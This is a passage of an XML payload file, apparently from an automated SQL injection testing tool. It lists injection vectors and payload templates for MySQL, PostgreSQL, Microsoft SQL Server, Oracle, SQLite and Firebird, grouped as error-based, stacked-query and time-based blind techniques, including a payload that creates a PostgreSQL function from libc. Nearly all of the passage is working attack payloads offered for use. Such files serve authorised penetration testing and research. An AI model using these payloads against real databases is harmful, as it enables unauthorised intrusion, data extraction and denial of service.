GROUP BY x)a)</vector> <request> <payload>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</payload> </request> <response> <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> </response> <details> <dbms>MySQL</dbms> <dbms_version>>= 5.0</dbms_version> </details> </test> <test> <title>PostgreSQL error-based - Parameter replace</title> <stype>2</stype> <level>3</level> <risk>0</risk> <clause>1,2,3</clause> <where>3</where> <vector>(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))</vector> <request> <payload>(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC))</payload> </request> <response> <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> </response> <details> <dbms>PostgreSQL</dbms> </details> </test> <test> <title>Microsoft SQL Server/Sybase error-based - Parameter replace</title> <stype>2</stype> <level>3</level> <risk>0</risk> <clause>1,3</clause> <where>3</where> <vector>(CONVERT(INT,('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')))</vector> <request> <payload>(CONVERT(INT,('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')))</payload> </request> <response> <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> </response> <details> <dbms>Microsoft SQL Server</dbms> </details> </test> <test> <title>Oracle error-based - Parameter replace</title> <stype>2</stype> <level>3</level> <risk>0</risk> <clause>1,3</clause> <where>3</where> <vector>(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector> <request> <payload>(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload> </request> <response> <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> </response> <details> <dbms>Oracle</dbms> </details> </test> <test> <title>Firebird error-based - Parameter replace</title> <stype>2</stype> <level>4</level> <risk>0</risk> <clause>1,3</clause> <where>3</where> <vector>(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))</vector> <request> <payload>(SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]'))</payload> </request> <response> <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> </response> <details> <dbms>Firebird</dbms> </details> </test> <!-- End of error-based tests - Parameter replace --> <!-- Error-based tests - GROUP BY and ORDER BY clauses --> <test> <title>MySQL >= 5.0 error-based - GROUP BY and ORDER BY clauses</title> <stype>2</stype> <level>3</level> <risk>0</risk> <clause>2,3</clause> <where>1</where> <vector>, (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</vector> <request> <payload>, (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</payload> </request> <response> <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> </response> <details> <dbms>MySQL</dbms> <dbms_version>>= 5.0</dbms_version> </details> </test> <test> <title>PostgreSQL error-based - GROUP BY and ORDER BY clauses</title> <stype>2</stype> <level>3</level> <risk>0</risk> <clause>2,3</clause> <where>1</where> <vector>, (CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))</vector> <request> <payload>, (CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC))</payload> </request> <response> <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> </response> <details> <dbms>PostgreSQL</dbms> </details> </test> <test> <title>Microsoft SQL Server/Sybase error-based - ORDER BY clause</title> <stype>2</stype> <level>3</level> <risk>0</risk> <clause>3</clause> <where>1</where> <vector>, (CONVERT(INT,('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')))</vector> <request> <payload>, (CONVERT(INT,('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')))</payload> </request> <response> <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> </response> <details> <dbms>Microsoft SQL Server</dbms> </details> </test> <test> <title>Oracle error-based - GROUP BY and ORDER BY clauses</title> <stype>2</stype> <level>3</level> <risk>0</risk> <clause>2,3</clause> <where>1</where> <vector>, (SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector> <request> <payload>, (SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload> </request> <response> <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> </response> <details> <dbms>Oracle</dbms> </details> </test> <!-- TODO: if possible, add payload for SQLite, Microsoft Access and SAP MaxDB - no known techniques at this time --> <!-- End of error-based tests - GROUP BY and ORDER BY clauses --> <!-- Stacked queries tests --> <test> <title>MySQL > 5.0.11 stacked queries</title> <stype>4</stype> <level>1</level> <risk>0</risk> <clause>0</clause> <where>1</where> <vector>; IF(([INFERENCE]), SLEEP([SLEEPTIME]), [RANDNUM]);</vector> <request> <payload>; SELECT SLEEP([SLEEPTIME]);</payload> <comment>#</comment> </request> <response> <time>[SLEEPTIME]</time> </response> <details> <dbms>MySQL</dbms> <dbms_version>> 5.0.11</dbms_version> </details> </test> <test> <title>MySQL < 5.0.12 stacked queries (heavy query)</title> <stype>4</stype> <level>2</level> <risk>0</risk> <clause>0</clause> <where>1</where> <vector>; IF(([INFERENCE]), BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]')), [RANDNUM]);</vector> <request> <payload>; SELECT BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]'));</payload> <comment>#</comment> </request> <response> <time>[DELAYED]</time> </response> <details> <dbms>MySQL</dbms> </details> </test> <test> <title>PostgreSQL > 8.1 stacked queries</title> <stype>4</stype> <level>1</level> <risk>0</risk> <clause>0</clause> <where>1</where> <vector>; SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END);</vector> <request> <payload>; SELECT PG_SLEEP([SLEEPTIME]);</payload> <comment>--</comment> </request> <response> <time>[SLEEPTIME]</time> </response> <details> <dbms>PostgreSQL</dbms> <dbms_version>> 8.1</dbms_version> </details> </test> <test> <title>PostgreSQL stacked queries (heavy query)</title> <stype>4</stype> <level>2</level> <risk>0</risk> <clause>0</clause> <where>1</where> <vector>; SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1, [SLEEPTIME]000000)) ELSE [RANDNUM] END);</vector> <request> <payload>; SELECT COUNT(*) FROM GENERATE_SERIES(1, [SLEEPTIME]000000);</payload> <comment>--</comment> </request> <response> <time>[DELAYED]</time> </response> <details> <dbms>PostgreSQL</dbms> </details> </test> <test> <title>PostgreSQL < 8.2 stacked queries (Glibc)</title> <stype>4</stype> <level>4</level> <risk>0</risk> <clause>0</clause> <where>1</where> <vector>; SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END);</vector> <request> <payload>; CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME]);</payload> <comment>--</comment> </request> <response> <time>[SLEEPTIME]</time> </response> <details> <dbms>PostgreSQL</dbms> <dbms_version>< 8.2</dbms_version> <os>Linux</os> </details> </test> <test> <title>Microsoft SQL Server/Sybase stacked queries</title> <stype>4</stype> <level>1</level> <risk>0</risk> <clause>0</clause> <where>1</where> <vector>; IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]';</vector> <request> <payload>; WAITFOR DELAY '0:0:[SLEEPTIME]';</payload> <comment>--</comment> </request> <response> <time>[SLEEPTIME]</time> </response> <details> <dbms>Microsoft SQL Server</dbms> </details> </test> <test> <title>Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE)</title> <stype>4</stype> <level>5</level> <risk>0</risk> <clause>0</clause> <where>1</where> <vector>; SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL;</vector> <request> <payload>; SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]', [SLEEPTIME]) FROM DUAL;</payload> <comment>--</comment> </request> <response> <time>[SLEEPTIME]</time> </response> <details> <dbms>Oracle</dbms> </details> </test> <test> <title>Oracle stacked queries (heavy query)</title> <stype>4</stype> <level>5</level> <risk>0</risk> <clause>0</clause> <where>1</where> <vector>; SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1, ALL_USERS T2, ALL_USERS T3, ALL_USERS T4, ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL;</vector> <request> <payload>; SELECT COUNT(*) FROM ALL_USERS T1, ALL_USERS T2, ALL_USERS T3, ALL_USERS T4, ALL_USERS T5;</payload> <comment>--</comment> </request> <response> <time>[DELAYED]</time> </response> <details> <dbms>Oracle</dbms> </details> </test> <test> <title>SQLite > 2.0 stacked queries (heavy query)</title> <stype>4</stype> <level>3</level> <risk>0</risk> <clause>0</clause> <where>1</where> <vector>; SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))) ELSE [RANDNUM] END);</vector> <request> <payload>; SELECT LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))));</payload> <comment>--</comment> </request> <response> <time>[DELAYED]</time> </response> <details> <dbms>SQLite</dbms> <dbms_version>> 2.0</dbms_version> </details> </test> <test> <title>Firebird stacked queries (heavy query)</title> <stype>4</stype> <level>3</level> <risk>0</risk> <clause>0</clause> <where>1</where> <vector>; SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1, RDB$TYPES AS T2, RDB$COLLATIONS AS T3),[RANDNUM]) FROM RDB$DATABASE;</vector> <request> <payload>; SELECT COUNT(*) FROM RDB$FIELDS AS T1, RDB$TYPES AS T2, RDB$COLLATIONS AS T3;</payload> <comment>--</comment> </request> <response> <time>[DELAYED]</time> </response> <details> <dbms>Firebird</dbms> <dbms_version>>= 2.0</dbms_version> </details> </test> <!-- TODO: if possible, add payload for Microsoft Access and SAP MaxDB --> <!-- End of stacked queries tests --> <!-- AND time-based blind tests --> <test> <title>MySQL > 5.0.11 AND time-based blind</title> <stype>5</stype> <level>1</level> <risk>1</risk> <clause>1,2,3</clause> <where>1</where> <vector>AND [RANDNUM]=IF(([INFERENCE]), SLEEP([SLEEPTIME]), [RANDNUM])</vector> <request> <payload>AND SLEEP([SLEEPTIME])</payload> </request> <response> <time>[SLEEPTIME]</time> </response> <details> <dbms>MySQL</dbms> <dbms_version>> 5.0.11</dbms_version> </details> </test> <test> <title>MySQL < 5.0.12 AND time-based blind (heavy query)</title> <stype>5</stype> <level>2</level> <risk>1</risk> <clause>1,2,3</clause> <where>1</where> <vector>AND [RANDNUM]=IF(([INFERENCE]), BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]')), [RANDNUM])</vector> <request> <payload>AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]'))</payload> </request> <response> <time>[DELAYED]</time> </response> <details> <dbms>MySQL</dbms> </details> </test> <test> <title>PostgreSQL > 8.1 AND time-based blind</title> <stype>5</stype> <level>2</level> <risk>1</risk> <clause>1,2,3</clause> <where>1</where> <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector> <request> <payload>AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))</payload> </request> <response> <time>[SLEEPTIME]</time> </response> <details> <dbms>PostgreSQL</dbms> <dbms_version>> 8.1</dbms_version> </details> </test> <test> <title>PostgreSQL AND time-based blind (heavy query)</title> <stype>5</stype> <level>3</level> <risk>1</risk> <clause>1,2,3</clause> <where>1</where> <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1, [SLEEPTIME]000000)) ELSE [RANDNUM] END)</vector> <request> <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1, [SLEEPTIME]000000))</payload> </request> <response> <time>[DELAYED]</time> </response> <details> <dbms>PostgreSQL</dbms> </details> </test> <test> <title>Microsoft SQL Server/Sybase AND time-based blind (heavy query)</title> <stype>5</stype> <level>2</level> <risk>1</risk> <clause>1,2,3</clause> <where>1</where> <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7) ELSE [RANDNUM] END)</vector> <request> <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7)</payload> </request> <response> <time>[DELAYED]</time> </response> <details> <dbms>Microsoft SQL Server</dbms> </details> </test> <test> <title>Oracle AND time-based blind</title> <stype>5</stype> <level>1</level> <risk>1</risk> <clause>1,2,3</clause> <where>1</where> <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END)</vector> <request> <payload>AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]', [SLEEPTIME])</payload> </request> <response> <time>[SLEEPTIME]</time> </response> <details> <dbms>Oracle</dbms> </details> </test> <test> <title>Oracle AND time-based blind (heavy query)</title> <stype>5</stype> <level>2</level> <risk>1</risk> <clause>1,2,3</clause> <where>1</where> <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1, ALL_USERS T2, ALL_USERS T3, ALL_USERS T4, ALL_USERS T5) ELSE [RANDNUM] END)</vector> <request> <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1, ALL_USERS T2, ALL_USERS T3, ALL_USERS T4, ALL_USERS T5)</payload> </request> <response> <time>[DELAYED]</time> </response> <details> <dbms>Oracle</dbms> </details> </test> <test> <title>SQLite > 2.0 AND time-based blind (heavy query)</title> <stype>5</stype> <level>3</level> <risk>1</risk> <clause>1</clause> <where>1</where> <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))) ELSE [RANDNUM] END)</vector> <request> <payload>AND [RANDNUM]=LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))</payload> </request> <response> <time>[DELAYED]</time> </response> <details> <dbms>SQLite</dbms> <dbms_version>> 2.0</dbms_version> </details> </test> <test> <title>Firebird AND time-based blind (heavy query)</title> <stype>5</stype> <level>4</level> <risk>1</risk> <clause>1</clause> <where>1</where> <vector>AND [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1, RDB$TYPES AS T2, RDB$COLLATIONS AS T3),[RANDNUM])</vector> <request> <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1, RDB$TYPES AS T2, RDB$COLLATIONS AS T3)</payload> </request> <response> <time>[DELAYED]</time> </response> <details> <dbms>Firebird</dbms> <dbms_version>>= 2.0</dbms_version> </details> </test> <!-- TODO: if possible, add payload for Microsoft Access and SAP MaxDB --> <!-- End of AND time-based blind tests --> <!-- OR time-based blind tests --> <test> <title>MySQL > 5.0.11 OR time-based blind</title> <stype>5</stype> <level>2</level> <risk>3</risk> <clause>1,2,3</clause> <where>2</where> <vector>OR [RANDNUM]=IF(([INFERENCE]), SLEEP([SLEEPTIME]), [RANDNUM])</vector> <request> <payload>OR [RANDNUM]=SLEEP([SLEEPTIME])</payload> </request> <response> <time>[SLEEPTIME]</time> </response> <details> <dbms>MySQL</dbms> <dbms_version>> 5.0.11</dbms_version> </details> </test> <test> <title>MySQL < 5.0.12 OR time-based blind (heavy query)</title> <stype>5</stype> <level>4</level> <risk>3</risk> <clause>1,2,3</clause> <where>2</where> <vector>OR [RANDNUM]=IF(([INFERENCE]), BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]')), [RANDNUM])</vector> <request> <payload>OR [RANDNUM]=BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]'))</payload> </request> <response> <time>[DELAYED]</time> </response> <details> <dbms>MySQL</dbms> </details> </test> <test> <title>PostgreSQL > 8.1 OR time-based blind</title> <stype>5</stype> <level>3</level> <risk>3</risk> <clause>1,2,3</clause> <where>2</where> <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector> <request> <payload>OR [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))</payload> </request> <response> <time>[SLEEPTIME]</time> </response> <details> <dbms>PostgreSQL</dbms> <dbms_version>> 8.1</dbms_version> </details> </test> <test> <title>PostgreSQL OR time-based blind (heavy query)</title> <stype>5</stype> <level>4</level> <risk>3</risk> <clause>1,2,3</clause> <where>2</where> <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1, [SLEEPTIME]000000)) ELSE [RANDNUM] END)</vector> <request> <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1, [SLEEPTIME]000000))</payload> </request> <response> <time>[DELAYED]</time> </response> <details> <dbms>PostgreSQL</dbms> </details> </test> <test> <title>Microsoft SQL Server/Sybase OR time-based blind (heavy query)</title> <stype>5</stype> <level>3</level> <risk>3</risk> <clause>1,2,3</clause> <where>2</where> <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7) ELSE [RANDNUM] END)</vector> <request> <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7)</payload> </request> <response> <time>[DELAYED]</time> </response> <details> <dbms>Microsoft SQL Server</dbms> </details> </test> <test> <title>Oracle OR time-based blind</title> <stype>5</stype> <level>3</level> <risk>3</risk> <clause>1,2,3</clause> <where>2</where> <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END)</vector> <request> <payload>OR [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])</payload> </request> <response> <time>[SLEEPTIME]</time> </response> <details> <dbms>Oracle</dbms> </details> </test> <test> <title>Oracle OR time-based blind (heavy query)</title> <stype>5</stype> <level>3</level> <risk>4</risk> <clause>1,2,3</clause> <where>2</where> <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1, ALL_USERS T2, ALL_USERS T3, ALL_USERS T4, ALL_USERS T5) ELSE [RANDNUM] END)</vector> <request> <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1, ALL_USERS T2, ALL_USERS T3, ALL_USERS T4, ALL_USERS T5)</payload> </request> <response> <time>[DELAYED]</time> </response> <details> <dbms>Oracle</dbms> </details> </test> <test> <title>SQLite > 2.0 OR time-based blind (heavy query)</title> <stype>5</stype> <level>4</level> <risk>3</risk> <clause>1</clause> <where>2</where> <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))) ELSE [RANDNUM] END)</vector> <request> <payload>OR [RANDNUM]=LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))</payload> </request> <response> <time>[DELAYED]</time> </response> <details> <dbms>SQLite</dbms> <dbms_version>> 2.0</dbms_version> </details> </test> <test> <title>Firebird OR time-based blind (heavy query)</title> <stype>5</stype> <level>5</level> <risk>3</risk> <clause>1</clause> <where>2</where> <vector>OR [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1, RDB$TYPES AS T2, RDB$COLLATIONS AS T3),[RANDNUM])</vector> <request> <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1, RDB$TYPES AS T2, RDB$COLLATIONS AS T3)</payload> </request> <response> <time>[DELAYED]</time> </response> <details> <dbms>Firebird</dbms> <dbms_version>>= 2.0</dbms_version> </details> </test> <!-- TODO: if possible, add payload for Microsoft Access and SAP MaxDB --> <!-- End of OR time-based blind tests --> <!-- UNION query tests --> <!-- TODO: sure about all these clauses? Verify on every DBMS --> <!-- <test> <title>UNION query</title> <stype>3</stype> <level>1</level> <risk>1</risk> <clause>1,2,3,4,5</clause> <where>1</where> <vector>UNION ALL SELECT [UNION_STRING]</vector> <request> <payload>UNION ALL SELECT [UNION_TEST]</payload> <comment></comment> </request> <response> <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> </response> </test> <test> <title>Single-entry UNION query</title> <stype>3</stype> <level>1</level> <risk>1</risk> <clause>1,2,3,4,5</clause> <where>2</where> <vector>UNION ALL SELECT [UNION_STRING]</vector> <request> <payload>UNION ALL SELECT [UNION_TEST]</payload> <comment></comment> </request> <response> <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> </response> </test> --> <!-- End of UNION query tests --> </root>